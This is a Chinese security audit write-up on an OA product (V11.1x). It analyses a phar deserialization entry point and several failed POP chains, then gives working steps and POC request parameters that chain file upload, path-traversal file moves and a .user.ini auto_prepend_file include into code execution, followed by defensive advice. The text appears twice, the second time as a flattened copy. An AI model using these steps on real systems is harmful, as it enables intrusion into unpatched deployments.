记一次有趣的某达OA审计过程
字数 1858 2025-08-22 22:47:30

某达OA V11.1x 安全审计与漏洞利用分析

概述

本文档详细记录了某达OA系统V11.1x版本的安全审计过程,重点分析了phar反序列化漏洞、文件上传漏洞以及相关利用链的构造方法。通过源码审计和实际测试,发现了多个安全漏洞并成功构造了利用链。

环境准备

  1. 源码获取:通过同事提供的压缩包获取某达OA V11.1x版本的源码
  2. 源码解密:使用SeayDzend工具对加密的PHP源码进行解密
  3. 环境搭建:搭建本地测试环境,便于动态调试和漏洞验证

phar反序列化漏洞分析

触发点定位

通过全局搜索phar关键字,定位到file_nums.php文件存在phar反序列化漏洞:

// general/netdisk/file_nums.php
require_once "inc/auth.inc.php";
include_once "inc/utility_file.php";
include_once "inc/utility_all.php";
ob_end_clean();
$DIR = iconv2os($DIR);
$msg = sprintf(_("共%d个文件"), dir_file_nums("$DIR"));
echo $msg;

漏洞触发URL:

/general/netdisk/file_nums.php?DIR=phar://恶意文件路径

POP链构造尝试

尝试1:任意文件删除

目标类Shared\XMLWriter.php

public function __destruct() {
    if ($this->tempFileName)
        unlink($this->tempFileName);
}

失败原因:该类没有命名空间,无法在反序列化时被调用

尝试2:RCE链构造

链一

__destruct -> close() -> flush() -> handleBatch() -> handle()
  1. __destruct调用close()
  2. close()调用flush()
  3. flush()调用handleBatch()
  4. handleBatch()调用handle()
  5. handle()中存在危险函数调用:
$record = Handler\call_user_func($processor, $record);

链二

__destruct -> close -> flush -> handleBatch -> processRecord
  1. __destruct调用close()
  2. close()调用flush()
  3. flush()调用handleBatch()
  4. handleBatch()调用processRecord()
  5. processRecord()中存在危险函数调用:
$record = Handler\call_user_func($processor, $record);

失败原因

  1. 错误认为$this->handle可控,实际不可控
  2. 链记录过程混乱,导致多次重新开始
  3. 尝试__call方法未成功

构造经验总结

  1. 优先检查类是否有命名空间,无命名空间的类无法用于反序列化链
  2. __destruct开始向下延伸,每一步做好记录
  3. 绘制树状图清晰记录链的走向
  4. 注意区分$this->method()$this->object->method()的区别

文件上传+文件移动+文件包含漏洞组合利用

文件上传分析

上传接口

POST /module/upload/upload.php HTTP/1.1

关键参数

  • module: 上传目录
  • name: 文件名
  • Filedata: 文件内容

上传限制

  1. 文件名不能包含非法字符:../, ..\, ./, .\, :, *, ?, ", <, >, |
  2. 文件后缀前三位不能是php(如php, php3, phar等)
  3. 目标路径若在webroot下,必须包含attachment目录

文件移动漏洞

移动接口

/general/picture/rename_action_submit.php

关键参数

  • PIC_PATH: 基础路径
  • PIC_NAME: 原文件名
  • NEW_NAME: 新文件名

移动函数

td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));

移动限制

  1. 目标路径必须包含attachment
  2. 移动的文件后缀不能包含2a.php

组合利用思路

  1. 上传.user.ini和恶意内容文件(如hello.txt
  2. 利用文件移动漏洞将文件移动到web可访问目录
  3. 通过.user.iniauto_prepend_file设置实现文件包含

具体攻击步骤

  1. 上传文件

    • 上传1.ini,内容为:
      auto_prepend_file=hello.txt
      
    • 上传hello.txt,内容为PHP代码:
      <?php echo "hello"?>
      
  2. 移动文件

    • 1.ini移动到:
      /webroot/general/system/attachment/test/.user.ini
      
    • hello.txt移动到:
      /webroot/general/system/attachment/test/hello.txt
      
  3. 触发漏洞

    • 访问web目录下任意PHP文件(如2a.php),系统会自动包含hello.txt中的恶意代码

文件移动POC示例

  1. 移动整个目录:

    NEW_NAME=../../general/system/attachment/test&PIC_PATH=/tonda/webroot/attachment/office_auto/
    
  2. 移动单个文件:

    PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.hello.txt&NEW_NAME=/webroot/general/system/attachment/test/hello
    
  3. 移动.user.ini

    PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.1.ini&NEW_NAME=/webroot/general/system/attachment/test/.user
    

防御建议

  1. phar反序列化防御

    • 禁用phar协议或严格过滤输入
    • 更新PHP到最新版本
  2. 文件上传防御

    • 严格限制上传文件类型
    • 对上传文件进行重命名
    • 存储上传文件到非web可访问目录
  3. 文件操作防御

    • 严格校验文件移动的目标路径
    • 禁止跨目录移动文件
    • 对用户输入进行规范化处理
  4. 文件包含防御

    • 禁用.user.ini中的危险配置
    • 限制auto_prepend_fileauto_append_file的使用

总结

通过对某达OA系统的深入审计,发现了phar反序列化和文件上传+移动+包含的组合漏洞。在实际利用中需要注意:

  1. 反序列化链的构造需要仔细分析类之间的关系
  2. 文件移动操作需要满足系统特定的路径限制
  3. 组合利用多个漏洞可以绕过单一漏洞的防护措施

这份文档详细记录了漏洞发现和利用的全过程,可作为类似系统安全审计的参考。

某达OA V11.1x 安全审计与漏洞利用分析 概述 本文档详细记录了某达OA系统V11.1x版本的安全审计过程,重点分析了phar反序列化漏洞、文件上传漏洞以及相关利用链的构造方法。通过源码审计和实际测试,发现了多个安全漏洞并成功构造了利用链。 环境准备 源码获取 :通过同事提供的压缩包获取某达OA V11.1x版本的源码 源码解密 :使用SeayDzend工具对加密的PHP源码进行解密 环境搭建 :搭建本地测试环境,便于动态调试和漏洞验证 phar反序列化漏洞分析 触发点定位 通过全局搜索 phar 关键字,定位到 file_nums.php 文件存在phar反序列化漏洞: 漏洞触发URL: POP链构造尝试 尝试1:任意文件删除 目标类 : Shared\XMLWriter.php 失败原因 :该类没有命名空间,无法在反序列化时被调用 尝试2:RCE链构造 链一 : __destruct 调用 close() close() 调用 flush() flush() 调用 handleBatch() handleBatch() 调用 handle() handle() 中存在危险函数调用: 链二 : __destruct 调用 close() close() 调用 flush() flush() 调用 handleBatch() handleBatch() 调用 processRecord() processRecord() 中存在危险函数调用: 失败原因 : 错误认为 $this->handle 可控,实际不可控 链记录过程混乱,导致多次重新开始 尝试 __call 方法未成功 构造经验总结 优先检查类是否有命名空间,无命名空间的类无法用于反序列化链 从 __destruct 开始向下延伸,每一步做好记录 绘制树状图清晰记录链的走向 注意区分 $this->method() 和 $this->object->method() 的区别 文件上传+文件移动+文件包含漏洞组合利用 文件上传分析 上传接口 : 关键参数 : module : 上传目录 name : 文件名 Filedata : 文件内容 上传限制 : 文件名不能包含非法字符: ../ , ..\ , ./ , .\ , : , * , ? , " , < , > , | 文件后缀前三位不能是 php (如 php , php3 , phar 等) 目标路径若在webroot下,必须包含 attachment 目录 文件移动漏洞 移动接口 : 关键参数 : PIC_PATH : 基础路径 PIC_NAME : 原文件名 NEW_NAME : 新文件名 移动函数 : 移动限制 : 目标路径必须包含 attachment 移动的文件后缀不能包含 2a.php 组合利用思路 上传 .user.ini 和恶意内容文件(如 hello.txt ) 利用文件移动漏洞将文件移动到web可访问目录 通过 .user.ini 的 auto_prepend_file 设置实现文件包含 具体攻击步骤 上传文件 : 上传 1.ini ,内容为: 上传 hello.txt ,内容为PHP代码: 移动文件 : 将 1.ini 移动到: 将 hello.txt 移动到: 触发漏洞 : 访问web目录下任意PHP文件(如 2a.php ),系统会自动包含 hello.txt 中的恶意代码 文件移动POC示例 移动整个目录: 移动单个文件: 移动 .user.ini : 防御建议 phar反序列化防御 : 禁用phar协议或严格过滤输入 更新PHP到最新版本 文件上传防御 : 严格限制上传文件类型 对上传文件进行重命名 存储上传文件到非web可访问目录 文件操作防御 : 严格校验文件移动的目标路径 禁止跨目录移动文件 对用户输入进行规范化处理 文件包含防御 : 禁用 .user.ini 中的危险配置 限制 auto_prepend_file 和 auto_append_file 的使用 总结 通过对某达OA系统的深入审计,发现了phar反序列化和文件上传+移动+包含的组合漏洞。在实际利用中需要注意: 反序列化链的构造需要仔细分析类之间的关系 文件移动操作需要满足系统特定的路径限制 组合利用多个漏洞可以绕过单一漏洞的防护措施 这份文档详细记录了漏洞发现和利用的全过程,可作为类似系统安全审计的参考。